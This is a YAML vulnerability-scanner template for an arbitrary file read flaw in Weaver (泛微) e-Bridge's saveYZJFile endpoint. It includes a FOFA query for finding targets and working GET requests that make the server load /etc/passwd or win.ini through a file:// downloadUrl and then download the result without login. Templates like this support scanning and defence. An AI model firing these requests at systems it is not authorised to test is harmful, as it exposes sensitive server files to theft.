e-bridge-saveyzjfile-file-read: 泛微OA E-Bridge saveYZJFile 任意文件读取

id: e-bridge-saveyzjfile-file-read

info:
  name: 泛微OA E-Bridge saveYZJFile 任意文件读取
  author: mvhz81
  severity: high
  verified: true
  description: |-
    泛微云桥（e-Bridge）是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。泛微云桥存在任意文件读取漏洞，攻击者成功利用该漏洞，可实现任意文件读取，获取敏感信息。
    fofa: title="泛微云桥e-Bridge"
  tags: e-bridge,file-read
  created: 2023/06/23

rules:
  linux0:
    request:
      method: GET
      path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc//passwd&fileExt=txt
    expression: response.status == 200 && response.body.bcontains(b'"isencrypt":') && response.body.bcontains(b'"isdelete":')
    output:
      search: '"\\\"id\\\"\\:\\\"(?P<var>.+?)\\\"\\,".bsubmatch(response.body)'
      var: search["var"]
  linux1:
    before_sleep: 2
    request:
      method: GET
      path: /file/fileNoLogin/{{var}}
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
    stop_if_match: true
  windows0:
    request:
      method: GET
      path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
    expression: response.status == 200  && response.body.bcontains(b'"isencrypt":') && response.body.bcontains(b'"isdelete":')
    output:
      search2: '"\\\"id\\\"\\:\\\"(?P<var>.+?)\\\"\\,".bsubmatch(response.body)'
      var: search2["var"]
    stop_if_mismatch: true
  windows1:
    before_sleep: 2
    request:
      method: GET
      path: /file/fileNoLogin/{{var}}
    expression: response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
expression: (linux0() && linux1()) || (windows0() && windows1())